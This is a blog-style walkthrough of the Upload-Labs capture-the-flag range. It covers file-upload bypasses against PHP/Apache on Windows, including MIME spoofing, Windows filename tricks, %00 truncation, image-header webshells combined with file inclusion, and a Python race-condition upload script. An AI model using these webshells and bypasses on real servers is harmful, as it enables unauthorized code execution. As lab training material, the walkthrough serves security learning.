Upload-Labs靶场闯关

news2024/11/19 22:54:56

文章目录

  • Pass-01
  • Pass-02
  • Pass-03
  • Pass-04
  • Pass-05
  • Pass-06
  • Pass-07
  • Pass-08
  • Pass-09
  • Pass-10
  • Pass-11
  • Pass-12
  • Pass-13
  • Pass-14
  • Pass-15
  • Pass-16
  • Pass-17
  • Pass-18
  • Pass-19
  • Pass-20


以下是文件上传绕过的各种思路,不过是鄙人做题记下来的一些思路笔记罢了。


GitHub靶场环境下载:upload-labs


Pass-01

先传一个图片过去,成功上传。
image
尝试传muma过去,提示失败,但是这个提示是在前端直接显示出来的,好像并没有发送请求过去。
image
尝试找到前端校验代码,直接在开发者模式将其js调用的函数删掉。
image
image
然后再次尝试上传木马,上传成功了
image
直接看服务端也是上传成功了。
image

Pass-02

观察前端也是有之前的第一关的前端校验,删除后直接尝试上传木马。

发现上传失败。
image
image
可以看到前端代码我们通过了,但是后端可能又校验没有通过,所以抓包观察一下。

  • 首先尝试修改content-type是否能够上传过去。

    Content-Type: image/jpg
    image
    可以看得到还是失败了。
    image
    可能jpg不行,那试试png?
    还真过去了!现在就是直接找到回显的这个路径直接连接就行了。因为这个回显的路径和文件名都是php,也能够直接访问,然后也被当成php执行了里面的木马代码。
    image

我很纳闷为什么jpg不行,难道jpg列入黑名单了?那就showcode看看

原来是jpg没有进白名单,所以有时候多尝试几个mime头还是OK的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

但是我仔细一想,发现要是我一开始就先尝试看看哪种文件能够上传成功那就和自己对着能够上传过去的文件进行修改不就好了吗?我重新尝试了一下上传jpg图片看看是不是真的没法上传,但是意外上传成功了!?
image
后面再另外上传一个伪装jpg一抓包发现,原来jpg图片现在的mime头都是JPEG了。。。。原来是我的问题。。。。
image

Pass-03

先传一个带木马的jpg文件看看过不过得去
image
正常过去了
image
看下该文件路径,使用时间戳进行更改名字。但是我们的web.jpg确实过去了,很有可能没有对我内容进行检查,所以我们要抓包在文件名处做文章。
image

  • 尝试直接修改后缀名但是Content-Type为jpeg(失败了)
    image
    image

  • 首先要理解服务端保存文件名字路径的方式,他是将.前面的全当成文件名然后用时间戳替换了,.后面符合过滤条件就使用不符合就不保存返回错误提示。
    由于我们知道服务端是采用的apache,现在有如下几种手段

    • 赌一下运维人员配置不当,存在php3,php7等等也当做php文件执行了。
      (当然这一关就是这个答案,但是需要我们手动配置好)
      在http.d文件中:AddType application/x-httpd-php .php .phtml .php5

    • 双写(肯定不行,因为直接给php拦下来了,不然的话就会变成没有后缀名的时间戳文件名的文件)

    • 尝试xx.php . 或者 xx.php. .,但是都不行,因为服务端会把最后一个点的前面都当成文件名用时间戳替换掉,那么你的filename就会成为: 时间戳.

    • 大小写混合 (失败)

    • 双写
      成功但后缀名没有被替换,依旧是失败了。
      image

    • ::DATA(可能可以,因为windows刚好是服务端使用的系统)

    • 冒号: 二次传输(同理或许能行得通,因为也是针对windows系统)

    • .htaccess(试过了也失败了)

  • 上传php5后缀名,上传成功,根据回显路径访问文件。
    image
    image
    image

  • 但是在访问的时候发现版本也是一个问题,如图所示,只有非nts版本的才能够在我们http.d下添加的后缀名能够被执行,其他都是直接下载而不是执行。(当然都是在http.d下天了php5后缀名的了,只是效果不同而已)
    下面的5.5.38由于我在windowsserver2003中,他不支持就切不了。
    image

  • 重新发送一下木马
    image
    直接访问看看,访问成功了。终于结束了这场闹剧。。。。
    image

Pass-04

传一个木马图片过去看看什么情况,发现文件名没有改,然后也没有校验文件的内容
image
image
尝试::$DATA看看不行不

::$DATA失败
image
尝试windows的其他特性

  • xx.php .

    失败
    image

  • xx.php. .
    成功了!!!!!!!!!!!!!但是回显是1.php.,但是没有关系,因为windows特性是不会让文件名最后一个字符是.的,所以我们接访问1.php即可
    image
    image
    使用蚁剑连接成功
    image

  • xx.php:.jpg(这里需要二次传输)

    • 第一次:(成功了!!!!!!!!!!)
      传过去但是该文件没有内容,第一次的作用就是创建一个文件。
      image
      可以看到服务端的这个文件也是0kb
      image
    • 第二次:作用是传输文件内容进去
      这里注意传的文件名是1.<<,<<是追加符号,把内容追加到文件名为1的文件中去
      image
      看到路径是1.<<,但是没关系,接着看后面
      image
      我们现在尝试着连接一下1.php,同样是成功了!!!!!!!!!!!!
      image
      回到服务器看看怎么个事。
      果然成功将内容输入进去了,不再是0kb内容。而且里面的内容就是我们要的
      image

Pass-05

老规传一个木马图片看看怎么个事
image
正常传过去了,但是又是那一招使用时间戳把我文件重命名了。
那这样先传一个php文件抓包看看
image
直接过去肯定被拦下来了
image
现在有如下几个思路

  • 修改Content-Type (失败)

  • 修改Content-Type 和 添加文件头,比如GIF89A (失败)

  • windows特性

    • xx.php. (失败)

    • xx.php. . (成功!!!!!!!!)
      image
      注意了,我这里圈出来了我之前使用过的方法比如Content-type还是gif和文件内容中也有gif的标准头,这是因为防范一下,不然刚好服务端都考虑了这两个,不然我就吃亏了,明明一个漏洞能够找到,但就是因为你没有考虑到这种组合的情况就错失了。
      但是!!!!!!!!回去一看访问路径,惨遭滑铁卢。。。。。居然还是那一招,最后一个.号前面全部使用时间戳命名了。。
      image

再次思考一下我还有什么办法??

  • ::$DATA (失败)

  • .htaccess (还是失败)

    image
    image

  • 冒号:
    (也是失败了)
    image
    image

  • 啊难道没有办法了吗!!!!!!????
    思考了一下还能使用啥??

  • 双写绕过,感觉不太靠谱,试一试
    image
    是过去了但是后缀名没有被替换,所以还是不行
    image

  • 大小写混合使用???试一试??
    image
    啊???还真过了啊,当真是兵不厌诈。。。。然后连接了一下还真是连接成功了的。。。。
    image
    image

Pass-06

老规矩上来就上传一个木马图片,成功了,但是依旧是熟悉的时间戳
image
直接上传php木马文件肯定是不允许的,这里就不演示了。
按照我们的经验,以下是我实验的顺序

  • 大小写混合(失败)

  • 双写 (失败)

  • windows特性

    • xx.php .

      成功了。。。这么简单吗???试试连接一下也OK了,但是我不甘心,我要继续测试看其他方式行不行
      image
      在这里插入图片描述

      • xx.php. .
        失败
        image
      • xx.php::$DATA
        失败
        image
      • xx.php:.jpg
        失败
        image
  • 既然重命名了我们的.htaccess也上传不了(试过了,失败)

那就是一个xx.php .利用windows特性上传成功并成功解析木马。
查看源码发现原来如此,先是删除了末尾的点,然后变成xx.php后,strrchr就找到最后一个点然后该点后面的作为后缀名,那就是.php作为后缀名了。但是和第三关不一样的是因为这里没有将空格去掉,第三关有一个函数是: $file_name = trim($_FILES['upload_file']['name']);,所以我们的windows特性都利用失败了,只能够说通过尝试同后缀名来测试是否有运维人员的配置不当来绕过。
image

Pass-07

先传一个带马图片过去,上传成功
image
现在开始传php木马文件过去
尝试直接使用windows的特性

  • xx.php .
    居然一下子就上传成功了
    image
    同时也连接成功
    image

Pass-08

木马图片传过去,发现使用了老朋友时间戳重命名了文件。
image
由于是知道服务器使用的是windows系统,所以结合该系统特性

  • xx.php .

    失败

  • xx.php. .

    失败
    image

  • xx.php::$DATA
    成功了
    image
    过去后是这样的路径,不过没关系,在windows下就只剩下php后缀名了,按照回显的文件名进行访问即可。
    image
    连接成功
    image

  • xx.php:.jpg
    失败
    image

Pass-09

上传木马图片,成功上传。并且我们的文件名没有改变。
image
先修改一下Content-type,然后也是意料之中被拦截了。
image
在此基础上利用apache的漏洞

  • 首先不是2.2版本一下,排除xx.php.php123后缀名解析漏洞

  • 运维人员配置不当存在可解析的后缀名。(php1,php2,php3,php4…)

    已尝试:失败了

  • 上传.htaccess文件,这个因为我们上传的文件没有被改掉名字,所以是可以尝试使用.htaccess文件

    居然也失败了,是直接被列入黑名单了。
    image

  • 利用windows的其他特性

    • xx.php .
      失败
    • xx.php. .
      成功了居然,那就尝试连接一下。
      image
      同样连接成功了。
      image
  • xx.php::$DATA
    失败

  • xx.php:.jpg
    成功!!!!!
    image
    进行二次输入,也成了,那我们尝试连接一下
    image
    连接也成功了!!!(说明,1.php我是在服务器删除了才使用这个方式上传过去的,所以这个1.php就是使用windows的:.jpg方式二次传输过去的)
    image

Pass-10

上传一个木马图片,回显名字发现没有被修改,那就代表没有对文件内容进行检查。
image
上传木马php文件,抓包修改数据包
先修改一下content-type看看是否能够直接过去。
image
奇怪的就是我们的php不见了,到这里一想就想到了其实是替换掉了我们的php,我么使用双写或许就绕过了。
使用双写:成功绕过
image
成功连接上木马
image

Pass-11

上传一个木马图片,上传成功,那就代表没有对内容进行检查,还发现用了时间戳修改文件名字。
image
尝试上传php木马

  • 首先尝试抓包修改content-type
    意料之中,失败了
  • windows特性利用
    • xx.php .
      失败
    • xx.php. .
      失败
    • xx.php::$DATA
      失败
    • xx.php:.jpg
      成功上传但是文件后缀名没有修改成功
      image
  • 双写
    失败
  • 大小写混合
    失败
  • 那就结合apache漏洞的解析漏洞进行上传
    • 上传.htaccess文件
      但是这里使用了时间戳进行重命名,所以也是失败告终
    • 赌运维人员配置不当导致有文件后缀名能够当成php代码解析了。但是只允许上传这几个文件类型。也是失败了。
      image
  • apache2.2版本的话还能上传一个xx.php.jpg上去,但是我们就不是用的2.2

其实当我用出了双写和混合大小写的时候就知道这题不简单了,很有可能是时间竞争,这时候我show code一下。
好的打脸了,其实不是时间竞争,而是%00截断


$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

看来我还是太嫩了,漏了这一茬,其实我应该再细心一点,上传一个图片过去的时候就应该要发现了,这里多了一个反斜杠。
image
还有一个线索就是我们的上传路径变成了
/uploadlabs/Pass-11/index.php?save_path=../upload/
这个就是典型的%00截断啊,你小子这么粗心这都没发现!!!!因为看到能够在客户端中给出保存的路径的时候,我们就能够通过我们自己给出的这个路径将其截断一下,刚好拿到这个save_path的时候我们就能够通过%00将其截断掉了!!!!!!!
image
OK那么事已至此,尘埃落定,事实证明了我是个菜鸟,直面事实吧。
上传一个php木马,然后我们直接在save_path加上截断就行
image
注意事项:nts版本上传失败(我这里版本切换成了5.2.17),上传的后缀名随便,真正的文件名写在%00前面,因为保存文件名的路径是使用save_path的,所以本质上这个漏洞就是判断的是我们上传的文件的后缀名,然后需要保存的路径是get请求中带过去,就是因为get这个url的目录保存路径,导致目录拼接我们的文件名的时候,我们给的目录中有截断字符,所以保存下来的就是我们的save_path目录中给出的文件名。

听懂掌声!

Pass-12

上传一个带木马的图片文件,发现成功上传,代表没有对内容进行检查,检查回显的文件名路径是是用来时间戳重命名了。
image
上传木马,抓包发现post数据包中发现有save_path在里面,我们就应该要立刻反映出来能够进行%00截断,因为是在客户端给出的参数中取出保存的路径这个漏洞必定有%00截断。
image
修改数据包将其截断,当然我们filename不能是.php后缀名,我们需要过了校验,所以使用jpg或者gif等等都无所谓,这里只是为了过后端校验罢了,我们真正保存的名字是save_path通过%00截断将其截断出来我们要保存的文件名而已,%00能够在拼接的时候截断掉后面的filename将会失效。

但是!!!!!!!!!!!!!!!!注意,这里使用的是post数据,我们%00只是在get的url中能够使用,我们%00对应的就是00,所以我们post作为正常数据的截断需要修改十六进制数据,而%00对应的十六进制数据是0x00,这就很容易了。

比如save_path=../upload/随便.php空格 ,在最后多加了一个空格,然后抓包修改的时候找到空格的十六进制将其修改为00就行,我们知道空格对应的十六进制是0x20,所以找的时候也方便,同时也让空格先占一个位置,修改的时候直接修改那个位置就行。
image
如上图所示,找到所在位置的十六进制对应的空格,然后修改为00即可
image
然后直接发送就行。(如果你burpsuite的字体是没修改过的,或许你会看到你的空格会变成一个类似口的东西在后缀名后面。这样也能够验证你修改成功了。)
image
连接一下suibian.php,成功连上。
image

Pass-13

上传一个木马图片,发现被拦下来了,所以可以笃定肯定对我们的图片内容进行检查了。
image
思路:

  • 改content-type
  • 该文件内容头部
  • 既然该关卡中写明了有文件包含漏洞,那我们直接传一个后缀名不是php的也是可以(包含的文件都会被当成php执行)

没想到改完后直接就过去了,甚至没有对我的后缀名和content-type进行核对
image
现在的任务就是利用文件包漏洞包含该路径下的1.jpg木马文件

上传过去后使用时间戳给我更改了名字而且连后缀名也改掉了,当真是无语,我给出的jpg后缀名看都不看。
image
那既然如此,在此关卡中给出的文件包含漏洞处尝试包含一下试试

这是文件包含的漏洞代码
image

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

image
连接成功了。
image
这一关是文件内容头检查,所以我们的内容中添加了GIF89A就能够绕过。(代码中是读取文件的内容进行判读类型)

这一关的源代码如下:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Pass-14

上传一个木马图片,发现对我的文件内容进行检查了
image
思路:

  • 改文件content-type
  • 文件内容头部数据添加对应的content-type类型头部
  • 上传不是php的也行,因为文件包含漏洞中包含的是php文件,只要我们上传文件内容中包含了木马代码即可。

上传成功
image
看到文件路径我也是再次无语,同样是和13关一样,我的1.php后缀名看都不看,直接使用我的content-type类型拿来作为后缀名了
image
利用文件包含漏洞包含该路径下的文件

这是文件包含漏洞的代码
image

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

尝试包含木马图片
image
尝试连接木马,也是连接成功了。
image
getimagesize函数解析

<?php
// 图像文件的路径
$filename = 'example.jpg';

// 获取图像信息
$imageinfo = getimagesize($filename);

if ($imageinfo !== false) {
    // 打印图像信息
    echo "图像宽度: " . $imageinfo[0] . "<br>";
    echo "图像高度: " . $imageinfo[1] . "<br>";
    echo "图像类型: " . $imageinfo[2] . "<br>";
    echo "MIME 类型: " . $imageinfo['mime'] . "<br>";
} else {
    echo "无法获取图像信息。";
}
?>

image_type_to_extension函数解析,这一关的源码就是使用了上面函数返回的数组中获取下标为2的图像类型作为参数

<?php
// 图像类型
$imagetype = IMAGETYPE_JPEG;

// 获取图像类型对应的文件扩展名(包含点)
$extension = image_type_to_extension($imagetype);
echo "文件扩展名(包含点):$extension<br>";

// 获取图像类型对应的文件扩展名(不包含点)
$extension_without_dot = image_type_to_extension($imagetype, false);
echo "文件扩展名(不包含点):$extension_without_dot<br>";
?>

源代码如下:

结合上面两个函数的解析可以发现,这一关中其实也就是检查文件头内容判断文件的类型,我也尝试了修改各种文件后缀名和修改各种content-type发现都改变不了后缀名,只要我们的文件内容头部是正确的都能够通过校验。

比如我数据包里面文件内容头部一直都是GIF89A,然后无论我怎么修改filename的后缀名还有修改content-type的类型都没有任何影响,我的文件照样是按照gif的类型传送过去了,然后回显给我的文件后缀名也是gif。

第13关也是一样,只不过这一关中使用的是getimagesize来获取图片信息,然后通过该数组来获取图片的类型,13关只不过是通过读取文件内容来获取图片类型而已。有异曲同工之处。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Pass-15

这一关同14关操作。

Pass-16

这一关中比较总和,我们一个一个方法进行测试。

  • 传输一个图片木马,发现被拦下来,那就代表肯定是对我们的文件内容进行检查
    image
  • 抓包修改content-type和文件头内容
    出乎意料的居然没有通过
    image

这时候应该思考的是我们的内容可能二次渲染了,这些二次渲染的函数会读取我们的文件内容然后根据内容重新生成图片,如果生成成功那就存下来。(先不要考虑时间竞争问题)

  • 验证是二次渲染和赌不被清空木马代码的可能性

    我们要通过二次渲染的图片就要使用图片和木马内容进行结合,目前有两种办法

    • 使用windows/linux的系统指令对正常的图片文件和木马文件进行合并
    windows的指令:copy /b 图片.jpg+木马.txt 目标.jpg   然后就通过上传目标.jpg看看是否上传成功
    
    linux就不演示了(因为我懒)
    
    • 使用特定的工具对图片和木马进行结合(这种方法可行性较高)

    在Vstart50中的工具:VStart50\tools\漏洞利用\edjpgcom图片插入一句话工具\edjpgcom.exe
    以上的方式我已经测试了很多种,有的能够传过去,但是利用文件包含漏洞包含解析的时候会报语法错误,只能够说能够上传过去且保留下木马代码的图片叫做坚强的木马。(只能说到这渗透勉强成功和结束了)

Pass-17

上传一个图片木马,上传成功,并没有对文件内容进行校验,但是老样子使用了时间戳重命名。
image
思路:

  • 时间戳重命名的话windows特性十有八九失败,但还是要一试

    • xx.php .
    • xx.php. .
    • xx.php::$DATA
    • xx.php:.jpg
  • 没有客户端给出保存路径的参数,所以00截断不行

  • 尝试上传php1/php2/php3等等后缀名(赌一下运维人员配置不当导致漏洞的发生)

  • apache上传.htaccess也会失败,因为重命名的原因。2.2版本漏洞也不存在,使用的不再是该版本。

  • 找出文件包含漏洞直接秒了,但是这一题不可以使用前面一题目的文件包含进行作弊。

  • 双写和大小写混合,实验后同样是失败了。因为固定了后缀名允许的几个图片(jpg,png,gif)

  • 那就只剩下条件竞争了

    • 时间竞争

      这一关就是通过时间竞争,时间竞争比较容易成功,因为已经存进了服务器中,只不过不通过服务器校验的话再删除而已。

      所以只要能够访问成功一次我们上传的代码文件,能做什么事情全看我们的代码写的什么。

      改代码可以是直接创建一个shell脚本,然后后续直接访问该创建出来的脚本即可。

      具体步骤参考下面即可:

      第一种:使用burpsuite攻击器来发送大量的数据包(使用两个攻击器,一个发送一个访问)

      第二种:使用python的hackhttp模块

      #pip install hackhttp安装hackhttp模块
      #!/usr/bin/env python
      # coding:utf-8
      
      
      import hackhttp
      from multiprocessing.dummy import Pool as ThreadPool
      def upload(lists):
      	hh = hackhttp.hackhttp()
      	raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
       Host: 127.0.0.1
       User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 
      Firefox/49.0
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
       Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
       Accept-Encoding: gzip, deflate
       Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
       Cookie: pass=17
       Connection: close
       Upgrade-Insecure-Requests: 1
       Content-Type: multipart/form-data; boundary=--------------------------
      -6696274297634
       Content-Length: 341
      
       -----------------------------6696274297634
       Content-Disposition: form-data; name="upload_file"; filename="17.php"
       Content-Type: application/octet-stream
      
       <?php assert($_POST["LandGrey"])?>
       -----------------------------6696274297634
       Content-Disposition: form-data; name="submit"
      
       上传
       -----------------------------6696274297634--
       """
      	 code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-/index.php',raw=raw)
      	 print(str(code) + "\r")
      
      #===========================================
      pool = ThreadPool(10)
      pool.map(upload, range(10000))
      pool.close()
      pool.join()
      
  • 重命名竞争
    重命名在18关

Pass-18

这一关是重命名竞争。很容易复现。

首先说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

前提需要

  • 需要白名单内有.7z(注意是白名单为.7z,不要和下面搞混)
  • apache版本需要在2.x能解析.php.7z文件。但是实测5.2.17也能够解析.php.7z文件(注意,是能够解析.php.7z)
  • 使用burpsuite快速进行发送数据包即可。如果手速不够快直接使用burpsuite攻击器进行攻击。使用其他攻击器也行。

下面演示使用burpsuite
image
可以看到直接成功了,根本没有用到攻击器(也有可能是我搭建的环境比较垃圾,删除的比较慢,所以攻击成功。)

但是注意,这里是代码开了一个小玩笑,我们上传的是1.php.7z,但是这里却是upload1.php.7z,很容易就想到是少了一个/导致路径拼接成了upload1.php.7z,(原本应该是想传到upload/1.php.7z)但是没有关系,我们上传成功了即可,现实中不会出现这种错误。
image
再次说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

所以现在尝试使用蚁剑连接试试,成功了。
image

Pass-19

原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg,这里就不在演示了。

Pass-20

源码审计,源自CTF比赛的,由于实际工作中代码不可能都一样,所以审计这里就不写了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1887571.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mac|install vue

安装Node&#xff1a;Node.js — Download Node.js 选择系统为mac&#xff0c;安装步骤在终端输入 &#xff08;放文字版在这里&#xff5e;方便复制&#xff09; # installs nvm (Node Version Manager) curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/ins…

WebSocket解决方案(springboot 基于Redis发布订阅)

WebSocket 因为一般的请求都是HTTP请求&#xff08;单向通信&#xff09;&#xff0c;HTTP是一个短连接&#xff08;非持久化&#xff09;&#xff0c;且通信只能由客户端发起&#xff0c;HTTP协议做不到服务器主动向客户端推送消息。WebSocket确能很好的解决这个问题&…

【ARM系列】GIC600AE功能安全

GIC600AE在原GIC600版本基础上增加了FuSa功能&#xff0c;所增加的FuSa特性都集成在GIC600外围&#xff0c;不会改变原GIC600的功能。 GIC600AE主要安全机制分布图&#xff1a; GIC-600AE包含以下FuSa安全机制&#xff1a; lockstep logic protection 通过添加duplication l…

数值治理学习记录

添加链接描述 数值清洗规则 数据质量问题 数据治理校验规则 数据探查分析 数据质量规则指标 转自&#xff1a;公众号《数据治理体系》

嵌入式c语言1——gcc以及linux嵌入式

GCC全名GNU Complier Collection&#xff0c;是一个开源的程序语言解释器&#xff0c;运行在linux系统中 对以程序名后缀结尾源代码文件&#xff0c;gcc可以做解释并生成可执行文件

贪心算法算法,完全零基础小白教程,不是计算机的都能学会!超详解

目录 一、基本概念 二、举几个例子&#xff0c;便于理解 1、找零问题 2、最小路径和 3、背包问题 1&#xff09;只考虑体积的贪心策略&#xff1a; 2&#xff09; 只考虑价值的贪心策略&#xff1a; 三、贪心策略的特点 四、贪心策略证明 四、如何学习贪心 五、例题…

Unity海面效果——4、法线贴图和高光

Unity引擎制作海面效果 大家好&#xff0c;我是阿赵。 继续做海面效果&#xff0c;上次做完了漫反射颜色和水波动画&#xff0c;这次来做法线和高光效果。 一、 高光的计算 之前介绍过高光的光照模型做法&#xff0c;比较常用的是Blinn-Phong 所以我这里也稍微连线实现了一下 …

问题-小技巧-Win11的常用快捷方式和有用快捷方式

文章目录 常用快捷方式1、CtrlA 全部选中2、Ctrl Z 撤销3、Ctrl X 剪切4、Ctrl C 粘贴5、Ctrl V 复制6、winshifts截图&#xff0c;Windows系统自带截图工具&#xff0c;功能太少7、ctrlshifts截图&#xff0c;edge自带截图工具&#xff0c;使用时需要打开edge8、 winv 可以查看…

实习总结 --- 内部平台使用

常用术语 CR CR–标准问题分类管理平台&#xff1a;由业务类型-角色-国家-品类-Page定义。 FAQSOP FAQ是端上用户自助的第一道关口&#xff0c;在引导用户进行自助解决上起关键作用 SOP是指标准作业程序&#xff0c;客服SOP是针对用户遇到的具体问题场景&#xff0c;给客服…

编写静态库

一、静态库 1.制作完成整体目录结构 2.首先创建mymath.c和mymath.h 3.编写Makefile 4.创建测试的main函数 test文件夹 先把lib移到test文件夹里面 4.编译链接 gcc main.c -I ./lib/include/ -L ./lib/mymathlib/ -l mymath 5.形成可执行程序a.out 要是不想执行第四步那么麻烦…

揭秘软件性能测试方法和注意事项,专业软件测试公司分享

目前&#xff0c;随着云计算和大数据的发展&#xff0c;软件的性能需求越来越高&#xff0c;用户对于软件的性能体验也有了更高的期望。因此&#xff0c;进行软件性能测试不仅是一种需求&#xff0c;更是一种责任&#xff0c;是开发过程中必不可少的一环。软件性能测试&#xf…

Python容器 之 元组

1.元组的介绍 1, 元组 tuple, 使用的是 () 2, 元组和列表非常相似, 都可以存储多个数据, 都可以存储任意类型的数据 3, 区别就是 元组中的数据不能修改,列表中可以修改 4, 因为元组中的数据不能修改,所以只能 查询方法, 如 index, count ,支持下标和切片 5, 元组, 主要用于…

ArcTs布局入门03——层叠布局(Stack)

如果你也对鸿蒙开发感兴趣&#xff0c;加入“Harmony自习室”吧&#xff01; 扫描下面的二维码关注公众号。 1、概述 叠布局&#xff08;StackLayout&#xff09;用于在屏幕上预留一块区域来显示组件中的元素&#xff0c;提供元素可以重叠的布局。层叠布局通过Stack容器组件实…

【鸿蒙学习笔记】基础组件 Button

官方文档&#xff1a;按钮 (Button)添加链接描述 官方文档&#xff1a;button开发指导 目录标题 属性迭代完善不含子组件的按钮包含子组件的按钮ButtonType添加事件跳转超链接提交表单悬浮按钮 属性迭代完善 不含子组件的按钮 Column({ space: 10 }) {Row() {Button(添加子目…

全国总工会党组书记徐留平来苏调研 观摩体验苏州金龙无人驾驶巴士

6月28日&#xff0c;全国总工会党组书记、副主席、书记处第一书记徐留平率队来苏州调研工会工作&#xff0c;并在苏州市劳模工匠人才创新成果展上观摩体验苏州金龙无人驾驶巴士。 本届苏州市劳模工匠人才创新成果展共设20个展位&#xff0c;集中展示了全市“劳模工匠助企行”的…

java面试-SpringAOP

1.SpringAOP的使用 你了解Spring AOP 吗&#xff1f; 通过预编译方式和运行期动态代理实现程序功能的统一维护的一种技术。 2.SpringAOP的原理 我们可以将ASM生成的类进行缓存&#xff0c;这样能解决生成的类比较低效的问题。 ASM是可以操作字节码的框架。 真实实现类和…

数据库操作语言(DML)

数据库操作语言&#xff08;DML&#xff09; 文章目录 数据库操作语言&#xff08;DML&#xff09;一、四种操作二、数据的插入&#xff08;增&#xff09;三、数据的删除&#xff08;删&#xff09;四、数据的修改&#xff08;改&#xff09;五、数据的查询&#xff08;查&…

RK3568驱动指南|第十五篇 I2C-第179章在应用程序中使用I2C

瑞芯微RK3568芯片是一款定位中高端的通用型SOC&#xff0c;采用22nm制程工艺&#xff0c;搭载一颗四核Cortex-A55处理器和Mali G52 2EE 图形处理器。RK3568 支持4K 解码和 1080P 编码&#xff0c;支持SATA/PCIE/USB3.0 外围接口。RK3568内置独立NPU&#xff0c;可用于轻量级人工…

WPDRRC信息安全体系架构模型

构建信息安全保障体系框架应包括技术体系、组织机构体系和管理体系等三部分&#xff0c;也就是说&#xff1a;人、管理和技术手段是信息安全架构设计的三大要素&#xff0c;而构成动态的信息与网络安全保障体系框架是实现系统的安全保障。 1.WPDRRC信息安全模型的定义 WPDRRC…

Oracle - 数据库打补丁实践

原文&#xff1a;https://www.cnblogs.com/ddzj01/p/12097467.html 一、概述 本文将介绍如何给oracle数据库打最新补丁&#xff0c;数据库版本为11.2.0.4单实例&#xff0c;操作系统为redhat6.5 二、下载相关升级包 1. 登录MOS&#xff0c;查阅(ID 2118136.2)&#xff0c;下载…